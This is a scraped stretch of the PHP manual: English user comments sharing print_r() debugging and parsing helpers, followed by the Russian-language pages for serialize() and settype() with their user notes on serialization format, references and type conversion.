The script creates a dummy console object with a log method for when firebug is disabled/not available.

<?php
function debug ($data) {
    echo "<script>\r\n//<![CDATA[\r\nif(!console){var console={log:function(){}}}";
    $output    =    explode("\n", print_r($data, true));
    foreach ($output as $line) {
        if (trim($line)) {
            $line    =    addslashes($line);
            echo "console.log(\"{$line}\");";
        }
    }
    echo "\r\n//]]>\r\n</script>";
}
?>
liamtoh6 at hotmail dot com 03-Feb-2010 10:01
I add this function to the global scope on just about every project I do, it makes reading the output of print_r() in a browser infinitely easier.

<?php
function print_r2($val){
        echo '<pre>';
        print_r($val);
        echo  '</pre>';
}
?>

It also makes sense in some cases to add an if statement to only display the output in certain scenarios, such as:

if(debug==true)
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1')
Matt 14-Sep-2009 12:53
Here is another version that parses the print_r() output. I tried the one posted, but I had difficulties with it. I believe it has a problem with nested arrays. This handles nested arrays without issue as far as I can tell.

<?php
function print_r_reverse($in) {
    $lines = explode("\n", trim($in));
    if (trim($lines[0]) != 'Array') {
        // bottomed out to something that isn't an array
        return $in;
    } else {
        // this is an array, lets parse it
        if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
            // this is a tested array/recursive call to this function
            // take a set of spaces off the beginning
            $spaces = $match[1];
            $spaces_length = strlen($spaces);
            $lines_total = count($lines);
            for ($i = 0; $i < $lines_total; $i++) {
                if (substr($lines[$i], 0, $spaces_length) == $spaces) {
                    $lines[$i] = substr($lines[$i], $spaces_length);
                }
            }
        }
        array_shift($lines); // Array
        array_shift($lines); // (
        array_pop($lines); // )
        $in = implode("\n", $lines);
        // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
        preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
        $pos = array();
        $previous_key = '';
        $in_length = strlen($in);
        // store the following in $pos:
        // array with key = key of the parsed array's item
        // value = array(start position in $in, $end position in $in)
        foreach ($matches as $match) {
            $key = $match[1][0];
            $start = $match[0][1] + strlen($match[0][0]);
            $pos[$key] = array($start, $in_length);
            if ($previous_key != '') $pos[$previous_key][1] = $match[0][1] - 1;
            $previous_key = $key;
        }
        $ret = array();
        foreach ($pos as $key => $where) {
            // recursively see if the parsed out value is an array too
            $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
        }
        return $ret;
    }
}

?>
Bob 08-May-2009 03:19
Here is a function that formats the output of print_r as a expandable/collapsable tree list using HTML and JavaScript.
<?php
function print_r_tree($data)
{
    // capture the output of print_r
    $out = print_r($data, true);

    // replace something like '[element] => <newline> (' with <a href="javascript:toggleDisplay('...');">...</a><div id="..." style="display: none;">
    $out = preg_replace('/([ \t]*)(\[[^\]]+\][ \t]*\=\>[ \t]*[a-z0-9 \t_]+)\n[ \t]*\(/iUe',"'\\1<a href=\"javascript:toggleDisplay(\''.(\$id = substr(md5(rand().'\\0'), 0, 7)).'\');\">\\2</a><div id=\"'.\$id.'\" style=\"display: none;\">'", $out);

    // replace ')' on its own on a new line (surrounded by whitespace is ok) with '</div>
    $out = preg_replace('/^\s*\)\s*$/m', '</div>', $out);

    // print the javascript function toggleDisplay() and then the transformed output
    echo '<script language="Javascript">function toggleDisplay(id) { document.getElementById(id).style.display = (document.getElementById(id).style.display == "block") ? "none" : "block"; }</script>'."\n$out";
}
?>
Pass it a multidimensional array or object and each sub-array/object will be hidden and replaced by a html link that will toggle its display on and off.
Its quick and dirty, but great for debugging the contents of large arrays and objects.
Note: You'll want to surround the output with <pre></pre>
sebasg37 at gmail dot com 25-Jan-2009 09:35
If you have to catch the output without showing it at all at first (for example, if you want to append the print_r output to a file), you can do this:

<?php

ob_start();
print_r( $some_array );
$output = ob_get_clean();

// if you want to append the print_r output of $some_array to, let's say, log.txt:

file_put_contents( 'log.txt', file_get_contents( 'log.txt' ) . $output )

?>
afisher8 at cox dot net 17-Dec-2008 08:53
I use this all the time when debugging objects, but when you have a very large object with big arrays of sub-objects, it's easy to get overwhelmed with the large amount of output....sometimes you don't want to see absolutely every sub-object.

I made this function to debug objects while "hiding" sub-objects of certain types.  This also color codes the output for a more readable printout.

<?php

function wtf($var, $arrayOfObjectsToHide=null, $fontSize=11)
{
    $text = print_r($var, true);

    if (is_array($arrayOfObjectsToHide)) {

        foreach ($arrayOfObjectsToHide as $objectName) {

            $searchPattern = '#('.$objectName.' Object\n(\s+)\().*?\n\2\)\n#s';
            $replace = "$1<span style=\"color: #FF9900;\">--&gt; HIDDEN - courtesy of wtf() &lt;--</span>)";
            $text = preg_replace($searchPattern, $replace, $text);
        }
    }

    // color code objects
    $text = preg_replace('#(\w+)(\s+Object\s+\()#s', '<span style="color: #079700;">$1</span>$2', $text);
    // color code object properties
    $text = preg_replace('#\[(\w+)\:(public|private|protected)\]#', '[<span style="color: #000099;">$1</span>:<span style="color: #009999;">$2</span>]', $text);

    echo '<pre style="font-size: '.$fontSize.'px; line-height: '.$fontSize.'px;">'.$text.'</pre>';
}

// example usage:
wtf($myBigObject, array('NameOfObjectToHide_1', 'NameOfObjectToHide_2'));

?>
kurt krueckeberg 28-Oct-2008 10:53
This is an alternative for printing arrays. It bolds array values.

<?php
function print_array(&$a, $str = "")
{
    if ($str[0]) {
        echo "$str =";
    }
    echo ' array( ';
    foreach ($a as $k => $v) {

        echo "[$k]".' => ';

        if (is_array($v)) {
            print_array($v);
        }
        else {
               echo "<strong>$a[$k]</strong> ";
        }
    }
    echo ')  ';
}
$a1 = array ("apples", "oranges", "pears");
$a2 = array ("potatos", "green beans", "squash");
$a3 = array ("euros", "dollars", "pesos", "dinars");
$test = range(1, 9);
array_push($test, array ("fruit" => $a1, "vegies" => $a2, "money" => $a3));
print_array($test, "test");
?>
schizo do not spamme duckie at gmail dot com 07-Oct-2008 05:00
my take on the highlighted markupped debug function:

<?php
/**
 * print_array()
 * Does a var_export of the array and returns it between <pre> tags
 *
 * @param mixed $var any input you can think of
 * @return string HTML
 */
function print_array($var)
{
    $input =var_export($var,true);
    $input = preg_replace("! => \n\W+ array \(!Uims", " => Array ( ", $input);
    $input = preg_replace("!array \(\W+\),!Uims", "Array ( ),", $input);
    return("<pre>".str_replace('><?', '>', highlight_string('<'.'?'.$input, true))."</pre>");
}
?>
brenden at beagleproductions dot com 28-Aug-2008 01:58
Many developers have submitted bugs to the PHP development team with regards to print_r showing protected and private properties of objects (PHP 5).  This is not a bug; sensitive information (ex. database connection object) should be  encapsulated within a private member function of your class.
admin at swivelgames dot com 17-Aug-2008 01:44
I was having problems using print_r because I didn't like the fact that if tags where included in the array it would still be parsed by the browsers.

Heres a simple fix for anyone who is having the same problem as I did. This will output your text properly for viewing through the browser instead of the browser's "view source" or CLI.

Script:
<?php

     $MyArray[0]="<div align='center'>My Text</div>";

     echo "<pre>".htmlspecialchars(print_r($MyArray,true))."</pre>";

?>

Output:
<pre>Array
(
    [0] =&gt; &lt;div align='center'&gt;My Text&lt;/div&gt;
)
</pre>
Anonymous 28-Jun-2008 01:21
I have written a nice debugging function.
This function handles arrays beautifully.
<?php
//Debug variables, $i and $k are for recursive use
function DebugDisplayVar($input, $name = "Debug", $i = "0", $k = array("Error")){
    if(is_array($input))
    {    foreach ($input as $i => $value){
            $temp = $k;
            $temp[] = $i;
            DebugDisplayVar($value, $name, $i, $temp);}
    }else{//if not array
        echo "$".$name;//[$k]
        foreach ($k as $i => $value){
            if($value !=="Error"){echo "[$value]";}
        }
        echo " = $input<br>";
}    }

//outputs
Debug[0] = value
Debug[1] = another value
ect...

?>
janci 13-May-2008 02:49
You cannot use print_r(), var_dump() nor var_export() to get static member variables of a class. However, in PHP5 you can use Reflection classes for this:

<?php

$reflection = new ReflectionClass('Static');
print_r($reflection->getStaticProperties());

?>
helpful at maybe dot com 06-Mar-2008 08:13
Another slight modification to the previous post to allow for empty array elements

added the following lines after the first preg_match block
<?php
        } else if ($expecting == 2 && preg_match('/^\[(.+?)\] \=\>$/', $trim, $matches)) { // array element
            // the array element is blank
            list ($fullMatch, $key) = $matches;
            $topArray[$key] = $element;
        }

?>
anon at anon dot com 29-Feb-2008 10:30
A slight modification to the previous post to allow for arrays containing mutli line strings. haven't fully tested it with everything, but seems to work great for the stuff i've done so far.

<?php

function print_r_reverse(&$output)
{
    $expecting = 0; // 0=nothing in particular, 1=array open paren '(', 2=array element or close paren ')'
    $lines = explode("\n", $output);
    $result = null;
    $topArray = null;
    $arrayStack = array();
    $matches = null;
    while (!empty($lines) && $result === null)
    {
        $line = array_shift($lines);
        $trim = trim($line);
        if ($trim == 'Array')
        {
            if ($expecting == 0)
            {
                $topArray = array();
                $expecting = 1;
            }
            else
            {
                trigger_error("Unknown array.");
            }
        }
        else if ($expecting == 1 && $trim == '(')
        {
            $expecting = 2;
        }
        else if ($expecting == 2 && preg_match('/^\[(.+?)\] \=\> (.+)$/', $trim, $matches)) // array element
        {
            list ($fullMatch, $key, $element) = $matches;
            if (trim($element) == 'Array')
            {
                $topArray[$key] = array();
                $newTopArray =& $topArray[$key];
                $arrayStack[] =& $topArray;
                $topArray =& $newTopArray;
                $expecting = 1;
            }
            else
            {
                $topArray[$key] = $element;
            }
        }
        else if ($expecting == 2 && $trim == ')') // end current array
        {
            if (empty($arrayStack))
            {
                $result = $topArray;
            }
            else // pop into parent array
            {
                // safe array pop
                $keys = array_keys($arrayStack);
                $lastKey = array_pop($keys);
                $temp =& $arrayStack[$lastKey];
                unset($arrayStack[$lastKey]);
                $topArray =& $temp;
            }
        }
        // Added this to allow for multi line strings.
    else if (!empty($trim) && $expecting == 2)
    {
        // Expecting close parent or element, but got just a string
        $topArray[$key] .= "\n".$line;
    }
        else if (!empty($trim))
        {
            $result = $line;
        }
    }

    $output = implode(n, $lines);
    return $result;
}

/**
 * @param string $output : The output of a multiple print_r calls, separated by newlines
 * @return mixed[] : parseable elements of $output
 */
function print_r_reverse_multiple($output)
{
    $result = array();
    while (($reverse = print_r_reverse($output)) !== NULL)
    {
        $result[] = $reverse;
    }
    return $result;
}

$output = '
Array
(
    [a] => apple
    [b] => banana
    [c] => Array
        (
            [0] => x
            [1] => y
            [2] => z
            [3] => Array
            (
                [nest] => yes
                [nest2] => Array
                (
                    [nest] => some more
                    asffjaskkd
                )
                [nest3] => o rly?
            )
        )
)

some extra stuff
';
var_dump(print_r_reverse($output), $output);

?>

This should output

array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  array(4) {
    [0]=>
    string(1) "x"
    [1]=>
    string(1) "y"
    [2]=>
    string(1) "z"
    [3]=>
    array(3) {
      ["nest"]=>
      string(3) "yes"
      ["nest2"]=>
      array(1) {
        ["nest"]=>
        string(40) "some more
                    asffjaskkd"
      }
      ["nest3"]=>
      string(6) "o rly?"
    }
  }
}
string(18) "nsome extra stuffn"

Added:
else if (!empty($trim) && $expecting == 2)
{
    // Expecting close parent or element, but got just a string
    $topArray[$key] .= "\n".$line;
}
bart at mediawave dot nl 30-Oct-2007 04:27
Here's a PHP version of print_r which can be tailored to your needs. Shows protected and private properties of objects and detects recursion (for objects only!). Usage:

void u_print_r ( mixed $expression [, array $ignore] )

Use the $ignore parameter to provide an array of property names that shouldn't be followed recursively.

<?php

function u_print_r($subject, $ignore = array(), $depth = 1, $refChain = array())
{
    if ($depth > 20) return;
    if (is_object($subject)) {
        foreach ($refChain as $refVal)
            if ($refVal === $subject) {
                echo "*RECURSION*\n";
                return;
            }
        array_push($refChain, $subject);
        echo get_class($subject) . " Object ( \n";
        $subject = (array) $subject;
        foreach ($subject as $key => $val)
            if (is_array($ignore) && !in_array($key, $ignore, 1)) {
                echo str_repeat(" ", $depth * 4) . '[';
                if ($key{0} == "\0") {
                    $keyParts = explode("\0", $key);
                    echo $keyParts[2] . (($keyParts[1] == '*')  ? ':protected' : ':private');
                } else
                    echo $key;
                echo '] => ';
                u_print_r($val, $ignore, $depth + 1, $refChain);
            }
        echo str_repeat(" ", ($depth - 1) * 4) . ")\n";
        array_pop($refChain);
    } elseif (is_array($subject)) {
        echo "Array ( \n";
        foreach ($subject as $key => $val)
            if (is_array($ignore) && !in_array($key, $ignore, 1)) {
                echo str_repeat(" ", $depth * 4) . '[' . $key . '] => ';
                u_print_r($val, $ignore, $depth + 1, $refChain);
            }
        echo str_repeat(" ", ($depth - 1) * 4) . ")\n";
    } else
        echo $subject . "\n";
}

?>

Example:

<?php

class test {

    public $var1 = 'a';
    protected $var2 = 'b';
    private $var3 = 'c';
    protected $array = array('x', 'y', 'z');

}

$test = new test();
$test->recursiveRef = $test;
$test->anotherRecursiveRef->recursiveRef = $test;
$test->dont->follow = 'me';

u_print_r($test, array('dont'));

?>

Will produce:

test Object (
    [var1] => a
    [var2:protected] => b
    [var3:private] => c
    [array:protected] => Array (
        [0] => x
        [1] => y
        [2] => z
    )
    [recursiveRef] => *RECURSION*
    [anotherRecursiveRef] => stdClass Object (
        [recursiveRef] => *RECURSION*
    )
)
motin at demomusic dot nu 19-Jun-2007 04:01
This works around the hacky nature of print_r in return mode (using output buffering for the return mode to work is hacky...):

<?php
/**
  * An alternative to print_r that unlike the original does not use output buffering with
  * the return parameter set to true. Thus, Fatal errors that would be the result of print_r
  * in return-mode within ob handlers can be avoided.
  *
  * Comes with an extra parameter to be able to generate html code. If you need a
  * human readable DHTML-based print_r alternative, see http://krumo.sourceforge.net/
  *
  * Support for printing of objects as well as the $return parameter functionality
  * added by Fredrik Wollsen (fredrik dot motin at gmail), to make it work as a drop-in
  * replacement for print_r (Except for that this function does not output
  * paranthesises around element groups... ;) )
  *
  * Based on return_array() By Matthew Ruivo (mruivo at gmail)
  * (http://se2.php.net/manual/en/function.print-r.php#73436)
  */
function obsafe_print_r($var, $return = false, $html = false, $level = 0) {
    $spaces = "";
    $space = $html ? "&nbsp;" : " ";
    $newline = $html ? "<br />" : "\n";
    for ($i = 1; $i <= 6; $i++) {
        $spaces .= $space;
    }
    $tabs = $spaces;
    for ($i = 1; $i <= $level; $i++) {
        $tabs .= $spaces;
    }
    if (is_array($var)) {
        $title = "Array";
    } elseif (is_object($var)) {
        $title = get_class($var)." Object";
    }
    $output = $title . $newline . $newline;
    foreach($var as $key => $value) {
        if (is_array($value) || is_object($value)) {
            $level++;
            $value = obsafe_print_r($value, true, $html, $level);
            $level--;
        }
        $output .= $tabs . "[" . $key . "] => " . $value . $newline;
    }
    if ($return) return $output;
      else echo $output;
}
?>

Built on a function earlier posted in these comments as stated in the Doc comment. Cheers! /Fredrik (Motin)
Enthusiastic PHPers 22-Mar-2007 12:03
We had an interesting problem dumping an object that
contained embedded HTML. The application makes use
of buffer manipulation functions, so print_r's 2nd argument
wasn't helpful. Here is how we solved the problem:

$object = new ObjectContainingHTML();
$savedbuffercontents = ob_get_clean();
print_r($object);
$print_r_output = ob_get_clean();
ob_start();
echo $savedbuffercontents;
echo htmlentities($print_r_output);
Matthew Ruivo (mruivo at gmail) 22-Feb-2007 10:47
For those of you needing to print an array within a buffer callback function, I've created this quick function. It simply returns the array as a readable string rather than printing it. You can even choose whether to return it in normal text-mode or HTML. It's recursive, so multi-dimensial arrays are supported. I hope someone finds this useful!

<?php

    function return_array($array, $html = false, $level = 0) {
        $space = $html ? "&nbsp;" : " ";
        $newline = $html ? "<br />" : "\n";
        for ($i = 1; $i <= 6; $i++) {
            $spaces .= $space;
        }
        $tabs = $spaces;
        for ($i = 1; $i <= $level; $i++) {
            $tabs .= $spaces;
        }
        $output = "Array" . $newline . $newline;
        foreach($array as $key => $value) {
            if (is_array($value)) {
                $level++;
                $value = return_array($value, $html, $level);
                $level--;
            }
            $output .= $tabs . "[" . $key . "] => " . $value . $newline;
        }
        return $output;
    }

?>
reinder at fake-address dot com 31-Jan-2006 09:09
I always use this function in my code, because most of my functions return an Array or Boolean :

<?php

function printr ( $object , $name = '' ) {

    print ( '\'' . $name . '\' : ' ) ;

    if ( is_array ( $object ) ) {
        print ( '<pre>' )  ;
        print_r ( $object ) ;
        print ( '</pre>' ) ;
    } else {
        var_dump ( $object ) ;
    }

}

?>

( print_r gives no output on FALSE and that can be annoying! )
thbley at gmail dot com 16-Nov-2005 12:10
Here is a print_r that produces xml:
(now you can expand/collapse the nodes in your browser)

<?php
header('Content-Type: text/xml; CHARSET=Windows-1251');
echo print_r_xml($some_var);

function print_r_xml($arr,$first=true) {
  $output = "";
  if ($first) $output .= "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<data>\n";
  foreach($arr as $key => $val) {
    if (is_numeric($key)) $key = "arr_".$key; // <0 is not allowed
    switch (gettype($val)) {
      case "array":
        $output .= "<".htmlspecialchars($key)." type='array' size='".count($val)."'>".
          print_r_xml($val,false)."</".htmlspecialchars($key).">\n"; break;
      case "boolean":
        $output .= "<".htmlspecialchars($key)." type='bool'>".($val?"true":"false").
          "</".htmlspecialchars($key).">\n"; break;
      case "integer":
        $output .= "<".htmlspecialchars($key)." type='integer'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      case "double":
        $output .= "<".htmlspecialchars($key)." type='double'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      case "string":
        $output .= "<".htmlspecialchars($key)." type='string' size='".strlen($val)."'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      default:
        $output .= "<".htmlspecialchars($key)." type='unknown'>".gettype($val).
          "</".htmlspecialchars($key).">\n"; break;
    }
  }
  if ($first) $output .= "</data>\n";
  return $output;
}

?>
warhog at warhog dot net 11-Aug-2005 05:01
For very long arrays I have written a little function which formats an array quite nice and uses javascript for browsing it like a tree. The function is very customizable with the $style parameter.
For me it's of great use for browsing large array's, for example when those are used in language-files in some script and so on. It may even be used in "real" scripts for the "real" front-end, cause the tree can very easily be styled (look at the function or the outputted source and you'll see what i mean).

Here's the function:

<?php

function print_r_html($arr, $style = "display: none; margin-left: 10px;")
{ static $i = 0; $i++;
  echo "\n<div id=\"array_tree_$i\" class=\"array_tree\">\n";
  foreach($arr as $key => $val)
  { switch (gettype($val))
    { case "array":
        echo "<a onclick=\"document.getElementById('";
        echo array_tree_element_$i."').style.display = ";
        echo "document.getElementById('array_tree_element_$i";
        echo "').style.display == 'block' ?";
        echo "'none' : 'block';\"\n";
        echo "name=\"array_tree_link_$i\" href=\"#array_tree_link_$i\">".htmlspecialchars($key)."</a><br />\n";
        echo "<div class=\"array_tree_element_\" id=\"array_tree_element_$i\" style=\"$style\">";
        echo print_r_html($val);
        echo "</div>";
      break;
      case "integer":
        echo "<b>".htmlspecialchars($key)."</b> => <i>".htmlspecialchars($val)."</i><br />";
      break;
      case "double":
        echo "<b>".htmlspecialchars($key)."</b> => <i>".htmlspecialchars($val)."</i><br />";
      break;
      case "boolean":
        echo "<b>".htmlspecialchars($key)."</b> => ";
        if ($val)
        { echo "true"; }
        else
        { echo "false"; }
        echo  "<br />\n";
      break;
      case "string":
        echo "<b>".htmlspecialchars($key)."</b> => <code>".htmlspecialchars($val)."</code><br />";
      break;
      default:
        echo "<b>".htmlspecialchars($key)."</b> => ".gettype($val)."<br />";
      break; }
    echo "\n"; }
  echo "</div>\n"; }

?>

The function as it is now does not support the $return parameter as print_r does and will create an endless loop like print_r did in php-versions < 4.0.3 when there is an element which contains a reference to a variable inside of the array to print out :-/

I've tested it with PHP 5.0.6 and PHP 4.2.3 - no problems except those already mentioned.

please e-mail me if you've got a solution for the problems i've mentioned, i myself are not able to solve them 'cause i don't know how the hell i can find out whether a variable is a reference or not.
general at NOSPAMbugfoo dot com 20-Jan-2005 01:23
You can't use print_r($var, TRUE) inside a function which is a callback from ob_start() or you get the following error:
Fatal error: print_r(): Cannot use output buffering in output buffering display handlers


Генерирует пригодное для хранения представление переменной

  • « print_r
  • settype »
  • PHP Manual
  • Функции для работы с переменными
  • Генерирует пригодное для хранения представление переменной

serialize

(PHP 4, PHP 5, PHP 7, PHP 8)

serialize — Генерирует пригодное для хранения представление переменной

Описание

serialize(mixed $value): string

Генерирует пригодное для хранения представление переменной.

Это полезно для хранения или передачи значений PHP между скриптами без потери их типа и структуры.

Для превращения сериализованной строки обратно в PHP-значение, используйте функцию unserialize().

Список параметров

value

Значение, которое необходимо сериализовать. serialize() обрабатывает все типы, кроме resource и некоторых типов object (смотрите примечание ниже). Возможно также сериализовать массивы, которые содержат ссылки на себя. Циклические ссылки внутри сериализуемого массива/объекта также сохраняются. Любые другие ссылки будут потеряны.

При сериализации объекта PHP пытается вызвать магические методы __serialize() или __sleep() перед сериализацией. Это делается для того, чтобы позволить объекту в последний момент произвести очистку и тому подобные операции перед сериализацией. Аналогично, когда объект восстанавливается функцией unserialize(), вызывается магический метод __unserialize() или __wakeup().

Замечание:

Начало имён закрытых членов объекта дополняются именем класса, а начало имён защищённых членов символом '*'. Эти дополненные значения окружаются нулевым байтом (0x00) с обеих сторон.

Возвращаемые значения

Возвращает строку, содержащую потоковое представление переменной value, которая может быть сохранена где угодно.

Обратите внимание, что это бинарная строка, которая может включать нулевые байты, и её нужно хранить и обрабатывать соответствующим образом. Например, вывод функции serialize() лучше хранить в BLOB-поле базы данных, а не в полях типа CHAR или TEXT.

Примеры

Пример #1 Пример использования serialize()

<?php
// $session_data содержит многомерный массив с сессионной
// информацией о текущем пользователе. Мы используем serialize() для сохранения
// этой информации в базе данных в конце запроса.

$conn = odbc_connect("webdb", "php", "chicken");
$stmt = odbc_prepare($conn,
"UPDATE sessions SET data = ? WHERE id = ?");
$sqldata = array (serialize($session_data), $_SERVER['PHP_AUTH_USER']);
if (!odbc_execute($stmt, $sqldata)) {
$stmt = odbc_prepare($conn,
"INSERT INTO sessions (id, data) VALUES(?, ?)");
if (!odbc_execute($stmt, array_reverse($sqldata))) {
/* Код, выполняемый в случае возникновения ошибки.. */
}
}
?>

Примечания

Замечание:

Обратите внимание, что много встроенных в PHP объектов не может быть сериализовано. Однако, те из них, которые поддерживают эту возможность, реализуют или интерфейс Serializable, или магические методы __serialize()/__unserialize() или __sleep()/__wakeup(). Если встроенный класс не удовлетворяет этим требованиям, он не может быть надёжно сериализован.

Исторически есть некоторые исключения из вышеуказанного правила, когда некоторые внутренние объекты могут быть сериализованы без реализации интерфейса или магических методов.

Внимание

При сериализации объектов функцией serialize(), ведущий обратный слеш не будет включён в имя класса с указанным пространством имён для наилучшей обратной совместимости.

Смотрите также

  • unserialize() - Создаёт PHP-значение из хранимого представления
  • var_export() - Выводит или возвращает интерпретируемое строковое представление переменной
  • json_encode() - Возвращает JSON-представление данных
  • Сериализация объектов
  • __sleep()
  • __wakeup()
  • __serialize()
  • __unserialize()

User Contributed Notes

mark at bvits dot co dot uk 09-Feb-2023 01:05
There is a type not mentioned in the user notes so far, 'E'.  This is the newer Enum class that can be utilised:

login_security|E:25:"Permission:manageClient"
frost at easycast dot ru 23-Sep-2013 10:56
Closures cannot be serialized:
<?php
$func = function () {echo 'hello!';};
$func(); // prints "hello!"

$result = serialize($func);  // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
?>
nh at ngin dot de 21-Jan-2013 09:59
Serializing floating point numbers leads to weird precision offset errors:

<?php

echo round(96.670000000000002, 2);
// 96.67

echo serialize(round(96.670000000000002, 2));
// d:96.670000000000002;

echo serialize(96.67);
// d:96.670000000000002;

?>

Not only is this wrong, but it adds a lot of unnecessary bulk to serialized data. Probably better to use json_encode() instead (which apparently is faster than serialize(), anyway).
Andrew B 05-Sep-2012 09:42
When you serialize an array the internal pointer will not be preserved. Apparently this is the expected behavior but was a bit of a gotcha moment for me. Copy and paste example below.

<?php
//Internal Pointer will be 2 once variables have been assigned.
$array = array();
$array[] = 1;
$array[] = 2;
$array[] = 3;

//Unset variables. Internal pointer will still be at 2.
unset($array[0]);
unset($array[1]);
unset($array[2]);

//Serialize
$serializeArray = serialize($array);

//Unserialize
$array = unserialize($serializeArray);

//Add a new element to the array
//If the internal pointer was preserved, the new array key should be 3.
//Instead the internal pointer has been reset, and the new array key is 0.
$array[] = 4;

//Expected Key - 3
//Actual Key - 0
echo "<pre>" , print_r($array, 1) , "</pre>";
?>
Anonymous 28-Feb-2012 07:44
Please! please! please! DO NOT serialize data and place it into your database. Serialize can be used that way, but that's missing the point of a relational database and the datatypes inherent in your database engine. Doing this makes data in your database non-portable, difficult to read, and can complicate queries. If you want your application to be portable to other languages, like let's say you find that you want to use Java for some portion of your app that it makes sense to use Java in, serialization will become a pain in the buttocks. You should always be able to query and modify data in the database without using a third party intermediary tool to manipulate data to be inserted.

I've encountered this too many times in my career, it makes for difficult to maintain code, code with portability issues, and data that is it more difficult to migrate to other RDMS systems, new schema, etc. It also has the added disadvantage of making it messy to search your database based on one of the fields that you've serialized.

That's not to say serialize() is useless. It's not... A good place to use it may be a cache file that contains the result of a data intensive operation, for instance. There are tons of others... Just don't abuse serialize because the next guy who comes along will have a maintenance or migration nightmare.
egingell at sisna dot com 15-May-2006 05:12
<?
/*
Anatomy of a serialize()'ed value:

 String
 s:size:value;

 Integer
 i:value;

 Boolean
 b:value; (does not store "true" or "false", does store '1' or '0')

 Null
 N;

 Array
 a:size:{key definition;value definition;(repeated per element)}

 Object
 O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

 String values are always in double quotes
 Array keys are always integers or strings
    "null => 'value'" equates to 's:0:"";s:5:"value";',
    "true => 'value'" equates to 'i:1;s:5:"value";',
    "false => 'value'" equates to 'i:0;s:5:"value";',
    "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
    array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
     and
    attempting to use an object as a key will result in the same behavior as using an array will.
*/
?>
MC_Gurk at gmx dot net 03-Jan-2006 07:44
If you are going to serialie an object which contains references to other objects you want to serialize some time later, these references will be lost when the object is unserialized.
The references can only be kept if all of your objects are serialized at once.
That means:

$a = new ClassA();
$b = new ClassB($a); //$b containes a reference to $a;

$s1=serialize($a);
$s2=serialize($b);

$a=unserialize($s1);
$b=unserialize($s2);

now b references to an object of ClassA which is not $a. $a is another object of Class A.

use this:
$buf[0]=$a;
$buf[1]=$b;
$s=serialize($buf);
$buf=unserialize($s);
$a=$buf[0];
$b=$buf[1];

all references are intact.


Задаёт тип переменной

  • « serialize
  • strval »
  • PHP Manual
  • Функции для работы с переменными
  • Задаёт тип переменной

settype

(PHP 4, PHP 5, PHP 7, PHP 8)

settype — Задаёт тип переменной

Описание

settype(mixed &$var, string $type): bool

Функция устанавливает переменной var тип type.

Список параметров

var

Переменная, тип которой требуется преобразовать.

type

Допустимые значения параметра type:

  • "boolean" или "bool"
  • "integer" или "int"
  • "float" или "double"
  • "string"
  • "array"
  • "object"
  • "null"

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования функции settype()

<?php

$foo = "5bar"; // Строка
$bar = true; // Логическое значение

settype($foo, "integer"); // Значение переменной $foo теперь рано 5 (целое число)
settype($bar, "string"); // Значение переменной $bar теперь равно "1" (строка)

?>

Примечания

Замечание:

Максимальное значение для типа "int" равно значению константы PHP_INT_MAX.

Смотрите также

  • gettype() - Возвращает тип переменной
  • Приведение типов
  • Манипуляции с типами

User Contributed Notes

DarkMaster 17-Apr-2021 07:08
<?php
/*
This example works 4x faster than settype() function in PHP-CGI 5.4.13 and
8x faster in PHP-CGI 7.1.3(x64) for windows
*/

$v = '12345';

$v = (int)$v;
$v = (string)$v;

?>
geoffsmiths at hotmail dot com 24-Dec-2019 10:23
Please note:

When using settype to convert indexed arrays to objects, the properties of the typed object will be integers:

A brief example:

$a = ['1', '2'];

settype($a, 'object');

var_dump($a);

// output
object(stdClass)#1 (2) {
  ["0"]=>
  string(1) "1"
  ["1"]=>
  string(1) "2"
}
Anonymous 04-Jan-2019 01:41
If you attempt to convert the special $this variable from an instance method (only in classes) :
* PHP will silently return TRUE and leave $this unchanged if the type was 'bool', 'array', 'object' or 'NULL'
* PHP will generate an E_NOTICE if the type was 'int', 'float' or 'double', and $this will not be casted
* PHP will throw a catchable fatal error when the type is 'string' and the class does not define the __toString() method
Unless the new variable type passed as the second argument is invalid, settype() will return TRUE. In all cases the object will remain unchanged.
<?php
    // This was tested with PHP 7.2
    class Foo {
        function test() {
            printf("%-20s %-20s %s\n", 'Type', 'Succeed?', 'Converted');

            // settype() should throw a fatal error, as $this cannot be re-assigned
            printf("%-20s %-20s %s\n", 'bool', settype($this, 'bool'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'int', settype($this, 'int'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'float', settype($this, 'float'), print_r($this));
            printf("%-20s %-20s %s\n", 'array', settype($this, 'array'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'object', settype($this, 'object'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'unknowntype', settype($this, 'unknowntype'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'NULL', settype($this, 'NULL'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'string', settype($this, 'string'), print_r($this, TRUE));
        }
    }
    $a = new Foo();
    $a->test();
?>
Here is the result :
Type                 Succeed?             Converted
bool                 1                    Foo Object
(
)

Notice: Object of class Foo could not be converted to int in C:\php\examples\oop-settype-this.php on line 9

int                  1                    Foo Object
(
)

Notice: Object of class Foo could not be converted to float in C:\php\examples\oop-settype-this.php on line 10

float                1                    Foo Object
(
)

array                1                    Foo Object
(
)

object               1                    Foo Object
(
)

Warning: settype(): Invalid type in C:\php\examples\oop-settype-this.php on line 14

unknowntype                               Foo Object
(
)

NULL                 1                    Foo Object
(
)

Catchable fatal error: Object of class Foo could not be converted to string in C:\php\examples\oop-settype-this.php on line 15

If the class Foo implements __toString() :
